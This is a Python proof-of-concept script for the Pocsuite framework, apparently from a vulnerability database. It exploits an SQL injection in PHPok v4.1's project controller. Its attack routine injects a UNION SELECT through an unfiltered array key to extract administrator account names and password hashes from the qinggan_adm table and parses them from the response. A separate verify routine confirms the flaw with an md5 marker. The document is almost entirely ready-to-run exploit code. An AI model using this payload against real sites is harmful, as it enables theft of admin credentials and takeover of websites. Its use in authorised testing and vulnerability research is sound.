PHPok v4.1 /framework/www/project/control.php SQL注入漏洞

                                                #!/usr/bin/env python
# coding: utf-8

import re

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '1652'  # vul ID
    version = '1'
    author = ['zhengdt']
    vulDate = '2014-11-12'
    createDate = '2014-11-19'
    updateDate = '2014-11-19'
    references = ['http://wooyun.org/bugs/wooyun-2014-083018']
    name = 'PHPok v4.1 /framework/www/project/control.php SQL注入漏洞 POC'
    appPowerLink = 'http://www.phpok.com/'
    appName = 'PHPOK'
    appVersion = '4.1'
    vulType = 'SQL Injection'
    desc = '''
        PHPOK v4.1 framework/www/project/control.php 存在 key 值未过滤直接带入 SQL 语句导致
        注入漏洞，可以获取管理员的账号密码，造成信息泄露。
    '''

    samples = ['']

    def _attack(self):
        result = {}
        params = {
            'c': 'project',
            'id': 'product',
            'ext[id=0 union select 1,2,3,4,5,6,concat(account,0x7c,pass),8,9,10,11,12,13,14,15,' \
                    '16,17,18,19,20,21,22,23,24,25,26,27,28 from qinggan_adm#]': 'test'
        }
        response = req.get('%s/index.php' % self.url, params=params).content
        match_result = re.search(r'\stitle="(?P<Username>.*)\|(?P<Password>[a-z0-9]{32}:[\w\d]{2})"', response)
        if match_result:
            result['AdminInfo'] = match_result.groupdict()

        return self.parse_attack(result)

    def _verify(self):
        result = {}
        params = {
            'c': 'project',
            'id': 'product',
            'ext[id=0 union select 1,2,3,4,5,6,md5(6234897582),8,9,10,11,12,13,14,15,' \
                    '16,17,18,19,20,21,22,23,24,25,26,27,28#]': 'test'
        }
        response = req.get('%s/index.php' % self.url, params=params).content
        if 'b6c8ab6c9f67f07b64c0241212459eaa' in response:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)